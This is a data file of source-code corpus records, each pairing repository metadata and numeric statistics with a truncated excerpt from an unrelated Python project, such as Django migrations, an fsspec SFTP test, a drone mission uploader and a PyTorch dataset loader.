b4d968978ee4e2ff5222a42d5a9c83f9874f1057
[ "Apache-2.0" ]
null
null
null
custom_mns/easybuild_mns_lc.py
qldhpc/eb_local
b4d968978ee4e2ff5222a42d5a9c83f9874f1057
[ "Apache-2.0" ]
null
null
null
## # Copyright 2013-2016 Ghent University # # This file is part of EasyBuild, # originally created by the HPC team of Ghent University (http://ugent.be/hpc/en), # with support of Ghent University (http://ugent.be/hpc), # the Flemish Supercomputer Centre (VSC) (https://www.vscentrum.be), # Flemish Research Foundation (F...
41.538462
117
0.725926
447
3,240
5.185682
0.431767
0.036238
0.054357
0.03365
0.211389
0.130285
0.05522
0
0
0
0
0.005624
0.176852
3,240
77
118
42.077922
0.863517
0.74321
0
0
0
0
0.053009
0
0
0
0
0
0
1
0.181818
false
0
0.272727
0
0.818182
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
0a2267398e6920482a2b0cfa8d0fe217d7474928
13,911
py
Python
Ground_control/gc_functions/upload_mission.py
mikk7440/RMUASD_Blood_Delivery
3352563df4b9bcf3079c065e364ea90850b5bcf6
[ "MIT" ]
null
null
null
Ground_control/gc_functions/upload_mission.py
mikk7440/RMUASD_Blood_Delivery
3352563df4b9bcf3079c065e364ea90850b5bcf6
[ "MIT" ]
null
null
null
Ground_control/gc_functions/upload_mission.py
mikk7440/RMUASD_Blood_Delivery
3352563df4b9bcf3079c065e364ea90850b5bcf6
[ "MIT" ]
null
null
null
#!/usr/bin/env python # /*************************************************************************** # MavLink LoRa node (ROS) upload mission example script # Copyright (c) 2018, Kjeld Jensen <kjen@mmmi.sdu.dk> <kj@kjen.dk> # SDU UAS Center, http://sdu.dk/uas # All rights reserved. # # Redistribution and use in source ...
35.853093
129
0.613759
1,762
13,911
4.674234
0.170261
0.030597
0.043711
0.034726
0.655415
0.598713
0.577708
0.557552
0.531569
0.527926
0
0.035417
0.29164
13,911
387
130
35.945736
0.800386
0.290058
0
0.714286
0
0
0.031276
0.018458
0
0
0
0
0
1
0.051587
false
0
0.019841
0
0.099206
0.019841
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0a23fa71dc5dbf220b7896fe34b5c4b7cd5e5487
6,061
py
Python
example_consumer/settings.py
open-craft/django-openid-auth
ec2337325096bf76e3256ce1461d8e719293edf3
[ "BSD-2-Clause" ]
11
2016-10-19T08:47:50.000Z
2019-04-12T22:51:10.000Z
example_consumer/settings.py
open-craft/django-openid-auth
ec2337325096bf76e3256ce1461d8e719293edf3
[ "BSD-2-Clause" ]
17
2015-10-26T14:14:07.000Z
2019-04-23T10:51:41.000Z
example_consumer/settings.py
open-craft/django-openid-auth
ec2337325096bf76e3256ce1461d8e719293edf3
[ "BSD-2-Clause" ]
12
2015-10-12T18:05:20.000Z
2019-06-26T15:13:39.000Z
# django-openid-auth - OpenID integration for django.contrib.auth # # Copyright (C) 2007 Simon Willison # Copyright (C) 2008-2013 Canonical Ltd. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions # are met: # # * Redistributions o...
34.4375
106
0.733542
771
6,061
5.69131
0.416342
0.044439
0.027119
0.039881
0.174111
0.131951
0.082726
0.082726
0.049225
0.030994
0
0.016481
0.169114
6,061
175
107
34.634286
0.854845
0.54364
0
0.102564
0
0
0.499815
0.42799
0
0
0
0
0
1
0
false
0
0.025641
0
0.025641
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0a2458e7a453d5d989b4bc9ac800ca0c5b0cfd75
535
py
Python
Lights/adafruit-circuitpython-bundle-6.x-mpy-20210310/examples/seesaw_soil_simpletest.py
IanSMoyes/SpiderPi
cc3469980ae87b92d0dc43c05dbd579f0fa8c4b1
[ "Apache-2.0" ]
7
2021-03-15T10:06:20.000Z
2022-03-23T02:53:15.000Z
Lights/adafruit-circuitpython-bundle-6.x-mpy-20210310/examples/seesaw_soil_simpletest.py
IanSMoyes/SpiderPi
cc3469980ae87b92d0dc43c05dbd579f0fa8c4b1
[ "Apache-2.0" ]
5
2021-04-27T18:21:11.000Z
2021-05-02T14:17:14.000Z
Lights/adafruit-circuitpython-bundle-6.x-mpy-20210310/examples/seesaw_soil_simpletest.py
IanSMoyes/SpiderPi
cc3469980ae87b92d0dc43c05dbd579f0fa8c4b1
[ "Apache-2.0" ]
null
null
null
# SPDX-FileCopyrightText: 2021 ladyada for Adafruit Industries # SPDX-License-Identifier: MIT import time from board import SCL, SDA import busio from adafruit_seesaw.seesaw import Seesaw i2c_bus = busio.I2C(SCL, SDA) ss = Seesaw(i2c_bus, addr=0x36) while True: # read moisture level through cap...
22.291667
63
0.684112
71
535
5.084507
0.577465
0.033241
0.066482
0
0
0
0
0
0
0
0
0.02657
0.226168
535
23
64
23.26087
0.845411
0.342056
0
0
0
0
0.055556
0
0
0
0.012346
0
0
1
0
false
0
0.363636
0
0.363636
0.090909
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
1
0a25fcbbbd18544cf099ee24464178df56632234
1,379
py
Python
herders/migrations/0027_auto_20210317_0522.py
Itori/swarfarm
7192e2d8bca093b4254023bbec42b6a2b1887547
[ "Apache-2.0" ]
66
2017-09-11T04:46:00.000Z
2021-03-13T00:02:42.000Z
herders/migrations/0027_auto_20210317_0522.py
Itori/swarfarm
7192e2d8bca093b4254023bbec42b6a2b1887547
[ "Apache-2.0" ]
133
2017-09-24T21:28:59.000Z
2021-04-02T10:35:31.000Z
herders/migrations/0027_auto_20210317_0522.py
Itori/swarfarm
7192e2d8bca093b4254023bbec42b6a2b1887547
[ "Apache-2.0" ]
28
2017-08-30T19:04:32.000Z
2020-11-16T04:09:00.000Z
# Generated by Django 2.2.17 on 2021-03-17 12:22 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('herders', '0026_auto_20210301_1052'), ] operations = [ migrations.AddField( model_name='artifa...
39.4
165
0.659898
154
1,379
5.733766
0.292208
0.05436
0.079275
0.124575
0.656852
0.611552
0.611552
0.491506
0.491506
0.491506
0
0.029657
0.217549
1,379
34
166
40.558824
0.788693
0.033358
0
0.571429
1
0
0.19985
0.086401
0
0
0
0
0
1
0
false
0
0.071429
0
0.178571
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0a261c3fac0bef4a8b880d8a92df0f89f30188db
3,469
py
Python
fsspec/implementations/tests/test_sftp.py
epoch8/filesystem_spec
507e1fcf3b61b8213a3f7a560f3e4683fb6dd043
[ "BSD-3-Clause" ]
null
null
null
fsspec/implementations/tests/test_sftp.py
epoch8/filesystem_spec
507e1fcf3b61b8213a3f7a560f3e4683fb6dd043
[ "BSD-3-Clause" ]
null
null
null
fsspec/implementations/tests/test_sftp.py
epoch8/filesystem_spec
507e1fcf3b61b8213a3f7a560f3e4683fb6dd043
[ "BSD-3-Clause" ]
null
null
null
import pytest import shlex import subprocess import time import fsspec pytest.importorskip("paramiko") def stop_docker(name): cmd = shlex.split('docker ps -a -q --filter "name=%s"' % name) cid = subprocess.check_output(cmd).strip().decode() if cid: subprocess.call(["docker", "rm", "-f", cid]) @...
30.429825
83
0.601903
449
3,469
4.587973
0.336303
0.128155
0.12233
0.100485
0.378155
0.333981
0.322816
0.271359
0.251942
0.234466
0
0.008073
0.214471
3,469
113
84
30.699115
0.74789
0.004324
0
0.244681
0
0
0.346176
0.150348
0
0
0
0
0.117021
1
0.06383
false
0.053191
0.06383
0
0.138298
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
0a26bb132e96c59a2f4fb716030a6c12082d334d
1,846
py
Python
riak/riak_index_entry.py
ghuntley/riak-python-client
f101f6e8d291d716621cd51112a33f9ce07e33da
[ "Apache-2.0" ]
1
2019-06-27T11:41:04.000Z
2019-06-27T11:41:04.000Z
riak/riak_index_entry.py
ghuntley/riak-python-client
f101f6e8d291d716621cd51112a33f9ce07e33da
[ "Apache-2.0" ]
null
null
null
riak/riak_index_entry.py
ghuntley/riak-python-client
f101f6e8d291d716621cd51112a33f9ce07e33da
[ "Apache-2.0" ]
null
null
null
""" Copyright 2010 Rusty Klophaus <rusty@basho.com> Copyright 2010 Justin Sheehy <justin@basho.com> Copyright 2009 Jay Baird <jay@mochimedia.com> This file is provided to you under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy o...
29.301587
97
0.657096
247
1,846
4.732794
0.388664
0.047904
0.030796
0.043627
0.295979
0.23781
0.195038
0.116339
0.116339
0.116339
0
0.015217
0.252438
1,846
62
98
29.774194
0.831884
0.371614
0
0.2
0
0
0.104167
0
0
0
0
0
0
1
0.2
false
0
0
0.1
0.566667
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
0a27d4e0c4c1aa68617e24ac695413b1e7954afa
974
py
Python
opencv-official-samples/2.4.9/inpaint.py
fatcloud/PyCV-Climbing-Wall
b9a20d1cf65fb89debbad15d4451efbf77cddb5d
[ "MIT" ]
55
2015-06-20T20:15:33.000Z
2022-02-10T02:45:14.000Z
opencv-official-samples/2.4.9/inpaint.py
fatcloud/PyCV-Climbing-Wall
b9a20d1cf65fb89debbad15d4451efbf77cddb5d
[ "MIT" ]
8
2015-06-20T18:46:52.000Z
2015-10-31T11:08:04.000Z
opencv-official-samples/2.4.9/inpaint.py
fatcloud/PyCV-Climbing-Wall
b9a20d1cf65fb89debbad15d4451efbf77cddb5d
[ "MIT" ]
73
2015-06-20T15:59:27.000Z
2020-03-15T22:43:36.000Z
#!/usr/bin/env python ''' Inpainting sample. Inpainting repairs damage to images by floodfilling the damage with surrounding image areas. Usage: inpaint.py [<image>] Keys: SPACE - inpaint r - reset the inpainting mask ESC - exit ''' import numpy as np import cv2 from common import Sketcher if __name...
21.644444
79
0.578029
128
974
4.257813
0.59375
0.06422
0.036697
0
0
0
0
0
0
0
0
0.039187
0.292608
974
44
80
22.136364
0.751814
0.020534
0
0
0
0
0.056474
0.028926
0
0
0.00551
0
0
0
null
null
0
0.166667
null
null
0.041667
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
0a28e20c97c0d1e7b2bda9967593b7d80cd14aab
224
py
Python
Word2Vect/DISTRIBUTIONS/mineral_parse.py
jfmalloy1/ChemAsLanguage
1236408e0b01f16a6b160b2fb08896c66066fade
[ "MIT" ]
null
null
null
Word2Vect/DISTRIBUTIONS/mineral_parse.py
jfmalloy1/ChemAsLanguage
1236408e0b01f16a6b160b2fb08896c66066fade
[ "MIT" ]
null
null
null
Word2Vect/DISTRIBUTIONS/mineral_parse.py
jfmalloy1/ChemAsLanguage
1236408e0b01f16a6b160b2fb08896c66066fade
[ "MIT" ]
null
null
null
from tqdm import tqdm def main(): #Open mineral database for line in tqdm(open("all_cod_smiles.txt")): print(line.split("\t")[0], file=open("mineral_smiles.txt", "a")) if __name__ == "__main__": main()
22.4
72
0.633929
33
224
3.969697
0.69697
0.167939
0
0
0
0
0
0
0
0
0
0.005525
0.191964
224
9
73
24.888889
0.718232
0.09375
0
0
0
0
0.232673
0
0
0
0
0
0
1
0.166667
false
0
0.166667
0
0.333333
0.166667
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0a2a28b72b80804b14aa7aaced146873689ff228
1,910
py
Python
tests/test_line.py
davidgomezcol/python-drawing-tool
84d6ac8bc0f2f7b29b8d64bb69bd8c838cc0d871
[ "MIT" ]
null
null
null
tests/test_line.py
davidgomezcol/python-drawing-tool
84d6ac8bc0f2f7b29b8d64bb69bd8c838cc0d871
[ "MIT" ]
null
null
null
tests/test_line.py
davidgomezcol/python-drawing-tool
84d6ac8bc0f2f7b29b8d64bb69bd8c838cc0d871
[ "MIT" ]
null
null
null
import unittest from components.line import Line from components.canvas import Canvas class TestLine(unittest.TestCase): """Tests to test the Line creation""" def setUp(self): self.w = 4 self.h = 3 self.canvas = Canvas(self.w, self.h) self.canvasArray = [[' '] * self.w for i i...
32.372881
67
0.568586
259
1,910
4.050193
0.316602
0.086749
0.126787
0.200191
0.269781
0.21449
0
0
0
0
0
0.121481
0.293194
1,910
58
68
32.931034
0.655556
0.071204
0
0
0
0
0.012
0
0
0
0
0
0.162791
1
0.069767
false
0
0.069767
0
0.162791
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0a2a568d34139611db7ec6b293070fbf26639730
8,622
py
Python
zufall/lib/objekte/urne.py
HBOMAT/AglaUndZufall
3976fecf024a5e4e771d37a6b8056ca4f7eb0da1
[ "Apache-2.0" ]
null
null
null
zufall/lib/objekte/urne.py
HBOMAT/AglaUndZufall
3976fecf024a5e4e771d37a6b8056ca4f7eb0da1
[ "Apache-2.0" ]
null
null
null
zufall/lib/objekte/urne.py
HBOMAT/AglaUndZufall
3976fecf024a5e4e771d37a6b8056ca4f7eb0da1
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/python # -*- coding: utf-8 -*- # # Urne - Klasse von zufall # # # This file is part of zufall # # # Copyright (c) 2019 Holger Böttcher hbomat@posteo.de # # # Licensed...
32.292135
97
0.540594
936
8,622
4.943376
0.297009
0.019019
0.010374
0.016641
0.351848
0.308623
0.294791
0.269073
0.252431
0.252431
0
0.016453
0.358502
8,622
266
98
32.413534
0.819924
0.099165
0
0.169118
0
0.029412
0.454742
0.035466
0
0
0
0
0
0
null
null
0
0.058824
null
null
0.044118
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
0a2ce996cc8e1e74a80310f4d9851ee01403d6f3
560
py
Python
Task/urls.py
DudaEugen/JustTesting
7b62c7f5d1d918c3fe82bf00aff4009212427a6f
[ "MIT" ]
null
null
null
Task/urls.py
DudaEugen/JustTesting
7b62c7f5d1d918c3fe82bf00aff4009212427a6f
[ "MIT" ]
null
null
null
Task/urls.py
DudaEugen/JustTesting
7b62c7f5d1d918c3fe82bf00aff4009212427a6f
[ "MIT" ]
null
null
null
from django.conf.urls import url from .views import * urlpatterns = [ url(r'^lists$', TaskListView.as_view(), name='task lists'), url(r'^list=(?P<task_list_pk>\d+)/multiple_choice_tests', MultipleChoiceTestsOfTaskLisk.as_view(), name="multiple choice tests of task list"), url(r'^multiple_choice_t...
40
103
0.707143
71
560
5.408451
0.408451
0.21875
0.104167
0.09375
0.114583
0
0
0
0
0
0
0
0.141071
560
13
104
43.076923
0.798337
0
0
0
0
0
0.4
0.2125
0
0
0
0
0
1
0
false
0
0.181818
0
0.181818
0
0
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0a2fa1b00e89e8532a5003bc185373402d2cbc87
715
py
Python
tasks.py
silx-kit/h5grove
97dbbfd86c9498744ff387b49e6aa484d2f78cbb
[ "MIT" ]
2
2022-02-04T18:56:52.000Z
2022-02-18T04:46:18.000Z
tasks.py
silx-kit/h5grove
97dbbfd86c9498744ff387b49e6aa484d2f78cbb
[ "MIT" ]
19
2021-06-29T13:03:30.000Z
2022-03-25T12:58:16.000Z
tasks.py
silx-kit/h5grove
97dbbfd86c9498744ff387b49e6aa484d2f78cbb
[ "MIT" ]
null
null
null
import sys from invoke import task @task def benchmark(c): """CI benchmark""" c.run("pytest --benchmark-only") @task def black(c): c.run(f"{sys.executable} -m black --check h5grove/ example/ test/") @task def flake8(c): c.run(f"{sys.executable} -m flake8 -v") @task def mypy(c): c.run(f"{sys....
15.543478
72
0.605594
108
715
4
0.361111
0.113426
0.046296
0.074074
0.428241
0.18287
0.138889
0
0
0
0
0.010676
0.213986
715
45
73
15.888889
0.758007
0.074126
0
0.259259
0
0
0.357254
0
0
0
0
0
0
1
0.259259
false
0
0.074074
0
0.333333
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
1
0a329df78c0fcb59256182e66b242d265ed6a792
5,072
py
Python
google/appengine/tools/devappserver2/endpoints/testdata/test_service.py
MiCHiLU/google_appengine_sdk
3da9f20d7e65e26c4938d2c4054bc4f39cbc5522
[ "Apache-2.0" ]
26
2015-01-20T08:02:38.000Z
2020-06-10T04:57:41.000Z
google/appengine/tools/devappserver2/endpoints/testdata/test_service.py
MiCHiLU/google_appengine_sdk
3da9f20d7e65e26c4938d2c4054bc4f39cbc5522
[ "Apache-2.0" ]
53
2016-04-06T21:10:43.000Z
2018-03-19T23:14:33.000Z
google/appengine/tools/devappserver2/endpoints/testdata/test_service.py
MiCHiLU/google_appengine_sdk
3da9f20d7e65e26c4938d2c4054bc4f39cbc5522
[ "Apache-2.0" ]
23
2016-04-19T05:45:26.000Z
2021-12-31T23:22:36.000Z
#!/usr/bin/env python # # Copyright 2007 Google Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law o...
35.468531
79
0.704456
607
5,072
5.771005
0.280066
0.037682
0.045961
0.046246
0.206965
0.185841
0.165572
0.165572
0.123608
0.096489
0
0.016219
0.185528
5,072
142
80
35.71831
0.83176
0.221017
0
0.17284
0
0
0.062564
0
0
0
0
0
0
1
0.123457
false
0
0.061728
0.074074
0.530864
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
0a371dd8941737a95b19c3e78f38b71e44f6111a
5,914
py
Python
web/accounts/migrations/0001_initial.py
samuelfirst/nemoobot
b74ad66d4f2052eaba14e4b79e20c3da274b5909
[ "MIT" ]
1
2021-01-30T09:19:37.000Z
2021-01-30T09:19:37.000Z
web/accounts/migrations/0001_initial.py
samuelfirst/nemoobot
b74ad66d4f2052eaba14e4b79e20c3da274b5909
[ "MIT" ]
2
2020-12-21T20:57:19.000Z
2021-01-26T08:08:09.000Z
web/accounts/migrations/0001_initial.py
samuelfirst/nemoobot
b74ad66d4f2052eaba14e4b79e20c3da274b5909
[ "MIT" ]
1
2020-12-22T07:42:42.000Z
2020-12-22T07:42:42.000Z
# Generated by Django 3.1.4 on 2021-01-29 11:26 from django.conf import settings import django.contrib.auth.models import django.contrib.auth.validators import django.contrib.postgres.fields from django.db import migrations, models import django.db.models.deletion import django.utils.timezone class Migration(migrati...
63.591398
329
0.64119
644
5,914
5.720497
0.287267
0.056732
0.038002
0.045603
0.402552
0.402552
0.364007
0.337948
0.337948
0.337948
0
0.011749
0.222861
5,914
92
330
64.282609
0.789817
0.007609
0
0.329412
1
0
0.218169
0.014147
0
0
0
0
0
1
0
false
0.011765
0.082353
0
0.129412
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0a37e4d4393cb4f90c08429fc91637a216c236a9
7,280
py
Python
python/tvm/relay/expr_functor.py
janifer112x/incubator-tvm
98c2096f4944bdbdbbb2b7b20ccd35c6c11dfbf6
[ "Apache-2.0" ]
22
2022-03-18T07:29:31.000Z
2022-03-23T14:54:32.000Z
python/tvm/relay/expr_functor.py
janifer112x/incubator-tvm
98c2096f4944bdbdbbb2b7b20ccd35c6c11dfbf6
[ "Apache-2.0" ]
3
2020-04-20T15:37:55.000Z
2020-05-13T05:34:28.000Z
python/tvm/relay/expr_functor.py
janifer112x/incubator-tvm
98c2096f4944bdbdbbb2b7b20ccd35c6c11dfbf6
[ "Apache-2.0" ]
5
2018-03-27T01:02:13.000Z
2020-12-29T00:32:31.000Z
# Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not u...
27.680608
98
0.636264
953
7,280
4.718783
0.19937
0.100067
0.040027
0.06849
0.30865
0.139649
0.058483
0.052702
0.052702
0.052702
0
0.000937
0.266896
7,280
262
99
27.78626
0.841671
0.167582
0
0.277108
0
0
0.004525
0
0
0
0
0
0
1
0.295181
false
0.03012
0.036145
0.078313
0.46988
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
1
0a39dcc0eb44fa258beb99e4ce4db7dd8b1a025c
1,891
py
Python
romgen/games/metroid/banks.py
tonylukasavage/retroverse
2d2baa013556c8f341e076f3ce552155da8e8227
[ "MIT" ]
null
null
null
romgen/games/metroid/banks.py
tonylukasavage/retroverse
2d2baa013556c8f341e076f3ce552155da8e8227
[ "MIT" ]
null
null
null
romgen/games/metroid/banks.py
tonylukasavage/retroverse
2d2baa013556c8f341e076f3ce552155da8e8227
[ "MIT" ]
null
null
null
banks = [ # bank 0 { 'ram': { 'start': 0xB848, 'end': 0xBFCF }, 'rom': { 'start': 0x3858, 'end': 0x3FDF }, 'offset': 0 }, # bank 1 { 'ram': { 'start': 0xB8CC, 'end': 0xB...
16.883929
47
0.284506
133
1,891
4.045113
0.413534
0.118959
0.10223
0.094796
0.078067
0.078067
0
0
0
0
0
0.120393
0.56954
1,891
111
48
17.036036
0.540541
0.072977
0
0.315217
0
0
0.128588
0
0
0
0.114811
0
0
1
0
false
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0a3ae15640c30a8f6b871f2be1276ca20f02ba4d
2,358
py
Python
Alexa/generate_alexa_departments.py
jonnekaunisto/Pisa-Class-Search
de943605278d9a6846e4cff5a3535d165ce34664
[ "MIT" ]
null
null
null
Alexa/generate_alexa_departments.py
jonnekaunisto/Pisa-Class-Search
de943605278d9a6846e4cff5a3535d165ce34664
[ "MIT" ]
1
2021-06-01T23:39:38.000Z
2021-06-01T23:39:38.000Z
Alexa/generate_alexa_departments.py
jonnekaunisto/Pisa-Class-Search
de943605278d9a6846e4cff5a3535d165ce34664
[ "MIT" ]
null
null
null
majors = { "UND": "Undeclared", "UNON": "Non Degree", "ANTH": "Anthropology", "APPH": "Applied Physics", "ART": "Art", "ARTG": "Art And Design: Games And Playable Media", "ARTH": "See History Of Art And Visual Culture", "BENG": "Bioengineering", "BIOC": "Biochemistry And Molecular Biology", "BINF": "Bioinformatics", "B...
30.623377
88
0.680662
267
2,358
6.011236
0.617978
0.049844
0.029907
0.041122
0.089097
0.034891
0
0
0
0
0
0
0.11408
2,358
77
89
30.623377
0.76831
0
0
0
0
0
0.660025
0.017804
0
0
0
0
0
1
0
false
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0a3dd007627eab74ddc07b9b22d67d7dc1f06234
1,819
py
Python
models/answer.py
Arvinje/pts_feedback
e66b6c9a557c63272517077b88e022936195ced3
[ "MIT" ]
1
2018-03-29T16:08:13.000Z
2018-03-29T16:08:13.000Z
models/answer.py
Arvinje/pts_feedback
e66b6c9a557c63272517077b88e022936195ced3
[ "MIT" ]
6
2018-03-10T15:04:28.000Z
2018-04-16T11:09:06.000Z
models/answer.py
Arvinje/pts_feedback
e66b6c9a557c63272517077b88e022936195ced3
[ "MIT" ]
3
2018-03-13T12:02:11.000Z
2018-05-25T21:54:43.000Z
from sqlalchemy import Column, ForeignKey, Integer, String, DateTime from sqlalchemy.orm import relationship import datetime # Backtrack to parent dir to prevent import problems import os, inspect currentdir = os.path.dirname(os.path.abspath(inspect.getfile(inspect.currentframe()))) parentdir = os.path.dirname(current...
33.072727
181
0.695987
216
1,819
5.5
0.356481
0.06734
0.047138
0.025253
0
0
0
0
0
0
0
0.004762
0.191864
1,819
54
182
33.685185
0.803401
0.062672
0
0
0
0
0.108824
0
0
0
0
0
0
1
0.078947
false
0
0.157895
0.052632
0.552632
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
0a3f5e01b63b9f58a2233cd898acf6428e067035
939
py
Python
biosteam/units/size_reduction.py
EVBiotechBV/biosteam
c31c5998c6f6a52f9e06daba0ddc73bdee78a07a
[ "MIT" ]
73
2020-03-04T20:14:07.000Z
2022-03-14T00:35:18.000Z
biosteam/units/size_reduction.py
EVBiotechBV/biosteam
c31c5998c6f6a52f9e06daba0ddc73bdee78a07a
[ "MIT" ]
74
2020-03-06T11:47:32.000Z
2022-03-31T17:55:24.000Z
biosteam/units/size_reduction.py
EVBiotechBV/biosteam
c31c5998c6f6a52f9e06daba0ddc73bdee78a07a
[ "MIT" ]
19
2020-03-06T13:59:27.000Z
2022-02-22T15:24:21.000Z
# -*- coding: utf-8 -*- # BioSTEAM: The Biorefinery Simulation and Techno-Economic Analysis Modules # Copyright (C) 2020-2021, Yoel Cortes-Pena <yoelcortes@gmail.com> # # This module is under the UIUC open-source license. See # github.com/BioSTEAMDevelopmentGroup/biosteam/blob/master/LICENSE.txt # for license details...
29.34375
75
0.698616
138
939
4.717391
0.666667
0.030722
0.067588
0.052227
0
0
0
0
0
0
0
0.059701
0.14377
939
32
76
29.34375
0.75
0.603834
0
0
0
0
0.131653
0
0
0
0
0
0
1
0
false
0.222222
0.222222
0
0.444444
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
0a406a8808940b9863174fbf140163dd8cd9effd
700
py
Python
commands/make-nodeset.py
fabianschuiki/potstill
5e867cb6ab5a5b65d9af024e704a90b5f2288f52
[ "Apache-2.0" ]
9
2016-09-06T18:43:53.000Z
2022-02-07T03:13:07.000Z
commands/make-nodeset.py
fabianschuiki/potstill
5e867cb6ab5a5b65d9af024e704a90b5f2288f52
[ "Apache-2.0" ]
null
null
null
commands/make-nodeset.py
fabianschuiki/potstill
5e867cb6ab5a5b65d9af024e704a90b5f2288f52
[ "Apache-2.0" ]
2
2019-11-23T07:47:31.000Z
2022-03-03T05:26:18.000Z
#!/usr/bin/env python3 # Copyright (c) 2016 Fabian Schuiki # # This script generates the nodeset for a memory macro. import sys, argparse from potstill import nodeset # Parse the command line arguments. parser = argparse.ArgumentParser(prog="potstill make-nodeset", description="Generate the nodeset for a memory macr...
35
118
0.758571
102
700
5.166667
0.54902
0.051233
0.096774
0.053131
0.166983
0.094877
0
0
0
0
0
0.008078
0.115714
700
19
119
36.842105
0.843296
0.254286
0
0
1
0
0.296512
0
0
0
0
0
0
1
0
false
0
0.25
0
0.25
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0a4392b260704db9ade15dd3b4b84401617916d8
17,657
py
Python
datasets.py
maxtaylordavies/BigGAN-PyTorch
af57d3a1527023db3928066e2c3d762a016ea6ec
[ "MIT" ]
null
null
null
datasets.py
maxtaylordavies/BigGAN-PyTorch
af57d3a1527023db3928066e2c3d762a016ea6ec
[ "MIT" ]
null
null
null
datasets.py
maxtaylordavies/BigGAN-PyTorch
af57d3a1527023db3928066e2c3d762a016ea6ec
[ "MIT" ]
1
2020-01-16T09:48:39.000Z
2020-01-16T09:48:39.000Z
''' Datasets This file contains definitions for our CIFAR, ImageFolder, and HDF5 datasets ''' import os import os.path import sys from PIL import Image import numpy as np from tqdm import tqdm, trange import h5py as h5 import torch import torchvision.datasets as dset import torchvision.transforms as tra...
35.314
124
0.55553
2,143
17,657
4.426505
0.143724
0.029517
0.019924
0.016445
0.662661
0.642948
0.637677
0.621337
0.621337
0.603626
0
0.016
0.334542
17,657
499
125
35.38477
0.791319
0.168998
0
0.624595
0
0.003236
0.08369
0.008623
0.012945
0
0
0
0
1
0.074434
false
0
0.05178
0.016181
0.229773
0.029126
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0a43be5cd585cd3b4ddac720c7ce6be900c8ce20
26,070
py
Python
elasticai_api/tensorflow/optimizer.py
DLPerf/elasticdl
b9c03ea0e81861ae8d349c3d8ffd1f7b588b910b
[ "MIT" ]
null
null
null
elasticai_api/tensorflow/optimizer.py
DLPerf/elasticdl
b9c03ea0e81861ae8d349c3d8ffd1f7b588b910b
[ "MIT" ]
null
null
null
elasticai_api/tensorflow/optimizer.py
DLPerf/elasticdl
b9c03ea0e81861ae8d349c3d8ffd1f7b588b910b
[ "MIT" ]
null
null
null
